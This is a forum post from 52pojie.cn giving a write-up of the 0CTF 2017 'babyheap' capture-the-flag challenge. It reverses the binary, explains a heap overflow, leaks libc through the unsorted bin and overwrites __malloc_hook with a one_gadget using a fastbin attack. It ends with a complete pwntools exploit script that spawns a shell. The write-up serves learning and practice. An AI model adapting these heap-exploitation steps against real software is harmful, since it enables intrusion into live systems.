吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1728|回复: 1
收起左侧

[CTF] 0CTF2017 : babyheap

[复制链接]
R00tkit 发表于 2023-8-4 16:27
本帖最后由 R00tkit 于 2023-9-22 19:44 编辑

前言

新注册的论坛账号,我目前在做ctf pwn和reverse,未来打算做android和iot,在吾爱这边准备更新一些实战记录和一些比赛的wp。
本题知识点我在这里有写 : https://bbs.kanxue.com/thread-277530.htm

0ctf2017:babyheap

检查文件信息

1

1

2

2

elf64小端序程序,保护全开。

修改rpath

检测到编译环境为GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609

3

3
所以修改rpath为glibc2.23

4

4

试运行

5

5

逆向分析

//分配堆块函数
char *sub_B70()
{
  int fd; // [rsp+4h] [rbp-3Ch]
  char *addr; // [rsp+8h] [rbp-38h]
  unsigned __int64 v3; // [rsp+10h] [rbp-30h]
  __int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF

  buf[3] = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("===== Baby Heap in 2017 =====");
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )
    exit(-1);
  close(fd);
  addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);
  v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
  if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
    exit(-1);
  return &addr[v3];
}
//返回数据被main里的a1接收。
//Allocate函数
void __fastcall Allocate(__int64 a1)
{
  int i; // [rsp+10h] [rbp-10h]
  int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = sub_138C();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);//堆块内容初始化为1
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1; //标记是否使用
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;//标记大小Size
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;//堆块地址
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}
//结构体如下
struct Heap {
    double in_use;
    double size;
    void *heap;
};
//Fill函数
__int64 __fastcall Fill(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result; //序号
  if ( (unsigned int)result <= 0xF ) //0~15
  {
    result = *(unsigned int *)(24LL * (int)result + a1);//结构体大小为24bit,在a1这个mmap块分配的。如此寻对应序号的Heap结构体。
    if ( (_DWORD)result == 1 )//检查in_use
    {
      printf("Size: ");
      result = sub_138C();
      v3 = result;
      if ( (int)result > 0 )//存在堆溢出漏洞
      {
        printf("Content: ");
        return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);//分配的heap在结构体偏移16的位置。
      }
    }
  }
  return result;
}
//Free函数
__int64 __fastcall Free(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;//in_use=0
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;//size=0
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;//chunk置零
    }
  }
  return result;
}
//Dump函数
int __fastcall Dump(__int64 a1)
{
  int result; // eax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (unsigned int)result <= 0xF )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));//打印堆块size大小的内容
      return puts(byte_14F1);
    }
  }
  return result;
}

漏洞利用

1.泄露libc基址

首先申请5个0x71大小的堆块,对应序号为0,1,2,3,4。和一个0x21大小的堆块来阻隔top_chunk。

利用堆溢出修改chunk0时将chunk1的size修改为0x91,chunk1覆盖到chunk2的bk位置,将chunk2分割出0x51大小的堆块。
修改后结构如下

6

6
查看此时heap结构

7

7

此时free(1)将会把chunk1_0x91放进unsorted_bin。

8

8

再次申请0x68大小的空间将会从unsorted_bin分割0x71大小的堆块,并由Heap[1]管理。那么chunk2头部0x20大小的空间将留在unsorted_bin,由于并没有将chunk2给free掉,所以chunk2_fd,chunk2_bk被修改为了栈地址(这题时main_arena++88),此时输出chunk2内容即可获取一个栈地址。

9

9

此时堆结构

10

10

得到这个站地址后,可以计算他和libc基址的固定偏移
libc基址地址。

11

11
固定偏移

12

12

通过劫持__malloc_hook地址来执行one_gadget

首先将chunk4放入fastbin,然后通过堆溢出利用chunk3修改chunk4的fd指针来将包含malloc_hook真实地址的fake_fast链接进fastbins。
包含
malloc_hook的fake_fast

13

13
修改后chunk结构

14

14
fastbin结构

15

15

再次申请两次就可将fake_fast申请出来,并且fast_fast由Heap[6]管理。
此时将__malloc_hook地址改为one_gadget地址,随意申请一个堆块就可getshell。

不难计算fake_fast的用户区0x13位置就是__malloc_hook地址。

16

16
然后随意申请一个堆块就可getshell

17

17

完整exp

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h' ]

is_local = True
is_debug = True

if is_debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'

def connect():
    global r, elf, libc
    if is_local:
        r = process('./babyheap_0ctf_2017')
    else:
        r = remote('IP', port)
    elf = ELF('./babyheap_0ctf_2017')
    libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug(gdbscript=""):
    if is_debug:
        gdb.attach(r, gdbscript=gdbscript)
        pause()
    else:
        pass

def alloc(size):
    r.recvuntil(b'Command:')
    r.sendline(b'1')
    r.recvuntil(b'Size:')
    r.sendline(str(size).encode())

def fill(index,size,content):
    r.recvuntil(b'Command:')
    r.sendline(b'2')
    r.recvuntil(b'Index:')
    r.sendline(str(index).encode())
    r.recvuntil(b'Size:')
    r.sendline(str(size).encode())
    r.recvuntil(b'Content:')
    r.send(content)

def free(index):
    r.recvuntil(b'Command:')
    r.sendline(b'3')
    r.recvuntil(b'Index:')
    r.sendline(str(index).encode())

def dump(index):
    r.recvuntil(b'Command:')
    r.sendline(b'4')
    r.recvuntil(b'Index:')
    r.sendline(str(index).encode())

def leak_libc():
    global libc_addr
    alloc(0x68) # 0
    alloc(0x68) # 1
    alloc(0x68) # 2
    alloc(0x68) # 3
    alloc(0x68) # 4
    alloc(0x18) # 5
    #debug()
    fill(0, 0x70, b'a'*0x68 + p64(0x91))
    fill(2, 0x20, b'\x00'*0x18 + p64(0x51))
    #debug()
    free(1)
    #debug()
    alloc(0x68) # 1
    #debug()
    dump(2)
    r.recvuntil(b'\n')
    libc_addr = u64(r.recv(8))-0x3c4b78
    log.info("main_arena:"+hex(libc_addr+0x3c4b78))
    log.success('libc_addr:'+hex(libc_addr))

def get_shell():
    #debug()
    free(4)
    fill(3,0x78,b'a'*0x68+p64(0x71)+p64(libc_addr+libc.sym['__malloc_hook']-0x23))
    #debug()
    alloc(0x68) # 4
    alloc(0x68) # 6
    fill(6,27,cyclic(19)+p64(libc_addr+0x4527a))
    debug()
    alloc(0x30)
    r.interactive()

def pwn():
    connect()
    leak_libc()
    get_shell()

if __name__=='__main__':
    pwn()

免费评分

参与人数 2威望 +1 吾爱币 +21 热心值 +2 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
笙若 + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Guangnianyinan 发表于 2023-8-8 06:58
厉害的人怎么都优秀
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 09:26

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表